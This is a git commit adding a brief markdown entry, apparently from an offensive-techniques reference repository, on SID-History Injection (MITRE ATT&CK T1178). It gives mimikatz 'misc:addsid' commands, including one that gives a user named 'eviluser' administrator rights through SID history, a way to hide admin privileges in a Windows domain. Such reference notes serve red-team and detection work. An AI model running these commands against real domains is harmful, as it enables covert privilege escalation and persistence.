Create SID_History_Injection.md

2018-01-26 07:25:32 +07:00 · 2018-01-26 07:25:32 +07:00 · 814a210ec3
parent 3e7dda54bd
commit 814a210ec3
1 changed files with 5 additions and 0 deletions
--- a/Windows/Privilege_Escalation/SID_History_Injection.md
+++ b/Windows/Privilege_Escalation/SID_History_Injection.md
@ -0,0 +1,5 @@
+# SID-History Injection
+MITRE ATT&CK Technique: [T1178](https://attack.mitre.org/wiki/Technique/T1178)
+## Create a new domain user. Hide admin privileges with SID history
+`mimikatz "misc:addsid <user> <groups>"`  
+`mimikatz "misc:addsid eviluser ADSAdministrator"`